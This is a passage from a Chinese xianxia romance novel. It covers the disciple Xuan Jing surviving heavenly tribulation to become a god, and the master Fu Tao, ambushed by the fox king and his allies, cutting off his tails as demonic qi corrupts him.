伏烟的话,还好理解。九岭山之内,就只有她和温辞两个女孩子,她们自是要说些体己话的。可玄境,也时常旁若无人的亲近她。
温辞并不知道,早在拜师后的一个月,九岭山的一众弟子就都知道她是玄境相看好的双修对象了。
只不过,因为温辞的身体太弱,他才一直拖着。
那段时间,但凡温辞和玄境一起出现,总是能收获几道异样的目光。就连蔺容,也时常对她欲言又止,只是她不知道为什么。
后来,也就习惯了。无论是她,还是师兄们。
拜师那日,伏弢赠她的那些药丸,早在第一年年末,就吃完了。幸而五师兄万鹤荣在拜入九岭山之前修习的是丹道,他给温辞把了脉,专门根据她的身体状况设计了几款强身健体的丹药。
为此,玄境还经常去五师兄的白鹤峰跟他探讨丹道。与其每次都要麻烦吴师兄帮忙,他更想亲自为温辞炼药。
所以,这三年的时间,玄境大多数的时间只在他的缥缈峰、温辞的峨眉峰以及万鹤荣的白鹤峰上。
三年后,伏弢出关,开始根据每个弟子的天分授予他们术法。
除了温辞。
她的筋骨脆弱,就算是吃了好些天材地宝炼就的灵药,也只能勉强维系住她的生命体征而已。她能够活着,已经是个天大的奇迹了。修炼极其耗费精力,对于她而言,不会对她有任何益处,反而加速她的衰亡。
所以,他没有教她任何术法,反而又将库房里对她有益的药品赠给了她。
54. 断尾
-
三年的相处下来,门内弟子对温辞的身体状况有了一定的了解,他们一致认为,和修炼术法比起来,温辞更应该好好养护自己的身体。
所以,关于伏弢的这个决定,谁也没有异议。
伏弢闭关的这段时间,自创了一道可以自由回溯时空的术法,命名为——溯洄术
他指定由玄境来练,其他人倒没什么异议,唯独伏烟,她也看上了溯洄术,央求了好久,伏弢都没同意。
温辞看着,不得不再一次想起被困在海底的司渊和伏烟。她之所以能够来到这里,之所以能够拜入九岭山和他们做同门,正是因为司渊会溯洄术。
那也就是说,一切都还按照原有的轨道在进行着。
可伏烟为什么会入魔呢?
师父又去哪了?他不会眼睁睁看着伏烟入魔的。还有她的师兄们,为什么最后只剩下伏烟和司渊了呢?他们都去哪了?
温辞的心里生出无数的疑云,却没人给她答案。
玄境一开始对溯洄术并不是很上心,直到伏弢单独将他召入独照峰,给他看了留影珠上的信息,他才开始努力修炼起来。
但这些,他始终瞒着温辞,却也不再终日把想和她双修这样狂放不羁的话语讲与温辞听。温辞虽诧异他的改变,却怎么也没想到,他已经知道了她的来历。他甚至从留影珠内看到了海底的那两人。
除了炼丹,玄境终于肯花费心思在修炼上。也正是因为如此,他竟是一众同门里第一个成神的修行者。
雷劫那日,因为缥缈峰离温辞的峨眉峰太近,他担心误伤了她,便去了六师兄的半崖峰。
一道又一道的响雷劈下,那一晚,九岭山亮如白昼。
伏弢自出生起,便是上神血脉。不过是应一道神劫,他没放在心上,扔下一瓶丹药后,带着伏烟去凡间行侠仗义了。
最让他放心离开的一点是,他曾在温辞给他的留影珠里看到过玄境——在他早已经湮灭的未来的玄境。
其他人,则又是艳羡,又是担心,不约而同聚在温辞的峨眉峰,一起看着一道又一道的天雷降下。
每落下一道,温辞的心就跟着颤一下。
天渐渐亮了,雷声也逐渐便小,直至完全隐去。
温辞一直为他数着,足足一千道。她无法想象被天雷击中到底是什么感觉,只是下意识为玄境捏把汗。
不等众人赶到半崖峰,玄境先一步幻化出原身,飞入了九岭山前的那道天堑。他身上有太多的伤了,不想让温辞看见。
“别担心,我没事,只是身上有点脏,去深涧里洗干净就回来。”一道散发着紫色光芒的黑影一闪而过,只留下一声清亮的叮嘱。
同时,一行人终于来到了半崖峰。原本的精装修已经变成了一片废墟。
“我的半崖峰……”六师兄哀嚎一声。
山峰空旷,半晌都还有回音在响。
“六师兄,很抱歉,半崖峰我会帮你修缮的。这段时间你可以住到我的缥缈峰去。”早已消失无踪的玄境的声音又一次传来,语气里带着显而易见的愉悦。
他已经浸泡在寒潭里了,但成神之后,他的感官好像比之前更敏感了。只要他想,方圆百里的任何动静,都能够及时捕获。
听到他这么说,六师兄果断停止了哀嚎。缥缈峰的装潢比他的半崖峰不知要好上多少,可如果他没记错的话,缥缈峰就只有一张床。
“可以啊,那你住哪啊?”
片刻后,玄境的声音又一次传来,“峨眉峰,我和阿辞挤一挤。”
经过这么多年的相处,师兄们都已经习惯了玄境的语出惊人。所以听到他这么说之后,并没有觉得很奇怪,但依旧用揶揄和打趣的目光看她。
明明他现在没有在这里,可温辞却生出一种他在她耳边低喃的错觉。
情人的低喃、师兄们刻意的目光,就像是一团火。她的脸颊,她的耳廓,以肉眼可见的速度逐渐变得绯红。
是了,玄境和司渊一点也不一样。玄境从来都是直接了当,无论是表达自己的情绪,还是对她的情意。
“我可没同意,你还是在寒潭里待着吧。”说完这话,温辞面红耳赤地在一众师兄的目光中,逃回了峨眉峰。
她还要帮他收拾出一间房间出来。
-
伏弢和伏烟从人间回来后的一个傍晚,伏弢悄无声息来到了缥缈峰。而半个时辰前,借宿在峨眉峰的玄境被他支去了凡间除魔。
温辞给他斟了杯茶,关切看着眼前这个面无血色的男人,说:“师父,你脸色好像不太好。”
“无碍。”他抿了口茶,放下茶杯,递过来一个巴掌大小的芥子囊。
纵她从来没有修习过术法,也能感受到芥子囊上附加的灵力。那是比虚空之门里还要雄厚、还要磅礴的神力。
温辞伸了伸手,瞥见他苍白的脸,指尖颤了颤,蜷了回去。
“师父,你...”她最终没有去接那个芥子囊,伏弢却很坚持,强行塞到了她手里。
温辞还在发愣,伏弢一脸郑重,语重心长说道:“这是破局的关键,阿辞,你必须收下。”
两手相触,他的手不似以往那般温热,变得异常冰凉,比玄境刚从寒潭里飞出来的时候还要冰凉。
“可是你看起来很虚弱啊。”温辞的声音都带着几分颤意,就算是再迟钝,她也终于发现了伏弢的异样。
他是神,如果不是身体出现了状况,体温不可能这么低的。看着他那张异常苍白的脸,温辞忽然觉得手心里的芥子囊特别烫手。
再看伏弢,他不过是和自己说了这么几句话,额头上已经沁出了一层冷汗,显然是他的身体出了状况。
而且是极大的状况。
“师父,你到底怎么了啊?”温辞都快哭出来了。她从腰间摸出一道灵符,“五师兄...吴五师兄没下山,我这就传音给他。”
“没用的,阿辞。我入魔了。”伏弢抽走她手中的传音符,递上一方丝帕。温辞接过帕子,眼泪却越流越凶。
伏弢颇为无奈地开口,说:“师父不太会安慰人,你快别哭了。玄境待会儿回来,看到你吐字一样的红眼睛,还以为是我欺负你呢。”
“入魔?”她抽噎着,问:“之前不是还好好的吗?师父这么厉害,为什么会入魔啊?”
温辞忍不住拿眼前的人和海底的伏烟相比较,眼前的伏弢,除了体温降低,脸色苍白,额头上沁出一层冷汗之外,他就和寻常无异。
他身上没有半点魔气。
或者说,以她的功力,完全看不出他已经入魔。
伏弢知道自己这个小弟子的来处,更是清楚自己的身体状况,魔气已经侵入骨髓,他的结局只有两种。
要么,他的心脉完全被魔气侵蚀,他彻底堕魔。
要么,趁他的意识还清醒,以神的名义,自戕而亡。
一代上古神,堕魔后的杀伤力,他想都不敢想。
可无论他怎么选择,他和弟子们的师徒情分,也就只能走到这里了。
伏弢没有瞒着她,简单和她说了一下事情的经过。
在玄境成神的那个晚上,他带着伏烟去人间玩,不小心中了埋伏。伏烟喜欢吃人间的冰糖葫芦,他不过是付个账的功夫,她就被前面卖甜汤的摊贩给吸引走了。
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等他意识到不对劲,卖甜汤的小贩和伏烟一起不见了踪迹。他追着伏烟的气息去寻,却意外嗅到了同族的气息。
尽管他自行舍弃了九尾狐王裔的身份,尽管他用神的名义立下了永不再回青丘的誓言,尽管他已经避到了九岭山,他的存在依旧是新任狐王心里的一根刺。
狐王一直差人暗中时刻关注着九岭山,生怕伏弢背地里做出什么有损青丘利益的事情来。
狐王本以为,他脱离了青丘,便再也闹不出什么水花来。毕竟那么多年,伏弢也不过是仗着族内的资源才在九州混的风生水起。
却如何也没想到,他竟不是个安分的。
如果说,九岭山神君伏弢的名号响彻九州是在新任狐王的脸上拍了一巴掌的话,那玄境忽而化神这件事情就是插进他胸口的一把利刃。
当暗探把九岭山上渡劫化神的消息传回青丘后,狐王彻底动了杀心。
伏弢曾救下过多少人,背后也就相应有多少敌人。其中,魔族对伏弢更是恨得咬牙切齿,恨不得饮其血、啖其肉。
俗话说,敌人的敌人就是朋友。
暗探时刻注意着伏弢的动静,把他携女弟子下山散心的消息传回青丘后,青丘第一时间联络了魔族、鹰族。
狐王更是亲自出山,伪装成了集市里卖甜汤的小贩,趁伏弢不备,掳走了伏烟。
世人皆传,伏弢神君极其宠爱他的大弟子。也正是因为如此,他们才会以伏烟为饵,诱伏弢深入。
为了彻底将伏弢按死,狐王甚至不惜自断一尾,又取了心头血,联合魔族布众、鹰族长老在一处偏僻的山谷种下了青丘的九尾樊笼秘术。
因着狐族心头血有压制术法痕迹的功效,伏弢没有第一时间发现异样。直到他抱着不慎中了狐族媚术而失去自主意识的伏烟准备冲阵,才恍然察觉到不对劲。
伏烟的身体很烫,口中呢喃着胡话,看起来糟糕极了。
九尾樊笼秘术,乃九尾狐尾巴所幻化,佐以施法人的心头血,将会铸成这世间最坚硬的囚笼。唯有术法更高的九尾狐尾巴炼化的利刃,方可破此术。
伏弢甚至没有半刻的犹豫,用神力凝出一把短匕,幻化出原身,大手一挥,割下一条毛绒绒的尾巴。
和其他族群不同,九尾狐一族的功力并非凝结在内丹上,而是在尾巴。
九尾狐断尾之痛,堪比剥皮抽筋。可伏弢却全程面不改色,仿佛他随手割下的并非是自己的尾巴一样。
断尾之痛,再加上樊笼本身的压制,伏弢的功力已去三成。
狐王和鹰族趁着伏弢炼化尾巴之际,联手发起了正面攻击,魔族则从背后偷袭。他们存了心要伏弢死,全都使出了看家的本事。
伏弢是神,就算是受伤,魔气也无法入体的。
可是,他没有料到的是,魔气中掺杂了族人的血,从他的断尾处浸入身体。
敌人很歹毒,如果不是他随身携带着那两颗留影珠,如果留影珠里的那团魔气察觉到危险气息,替他阻拦了一把,他怕是当场就要入魔。
伏烟的那团魔气,被血魔当场冲散,再也聚不成人形。伏弢压下身体的不适,强行打开了樊笼,抱着伏烟逃离。
他解了伏烟的媚术后,便一直把自己关在独照峰。
他试过好几次,却始终无法将那团魔气从自己的身体里排出。那团沾染了族人鲜血的魔气已经融入了他的骨血之中。
不消多时,便会彻底堕魔。
思忖片刻后,伏弢运功,把身体里的魔气尽数封禁在其中一条尾巴上。而剩余的尚未被魔气浸染的七尾,被他毫不犹豫割下,封在芥子囊中。